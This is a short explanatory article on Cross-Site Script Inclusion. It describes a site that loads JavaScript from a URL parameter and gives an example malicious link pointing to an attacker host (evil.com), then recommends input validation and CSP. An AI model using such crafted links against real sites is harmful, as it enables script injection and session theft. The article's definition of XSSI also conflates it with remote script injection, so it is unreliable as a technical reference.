Cross-Site Script Inclusion (XSSI) is a type of attack that shares similarities with Cross-Site Scripting (XSS) but targets different objectives and employs distinct methods. The goal of XSSI attacks is to exploit security vulnerabilities in websites to include and execute untrusted script code from external sources.
XSSI attacks typically occur when a website dynamically includes and executes JavaScript files from external sources. If these included files are not properly validated or restricted, attackers can inject malicious scripts that are trusted and executed by the website, enabling them to steal sensitive data, manipulate user sessions, or perform other malicious activities.
Example Explanation:
Suppose there is a website A that allows users to specify a JavaScript file path via URL parameters, and the website dynamically loads and executes the JavaScript file at that path. For instance, a legitimate URL might look like:
http://example.com/?jsfile=url_to_legitimate_script.js
If the website does not properly validate or restrict the content of the jsfile parameter, attackers can create a malicious link such as:
http://example.com/?jsfile=http://evil.com/malicious_script.js
When other users click this link to access the website, malicious_script.js will be loaded and executed. Since this script originates from an attacker-controlled server, the attacker can perform various malicious operations through it.
To prevent XSSI attacks, website developers should ensure their sites do not blindly trust external scripts, implementing strict input validation and Content Security Policy (CSP) among other security measures to guarantee that all external scripts are trusted, thereby protecting users from such attacks.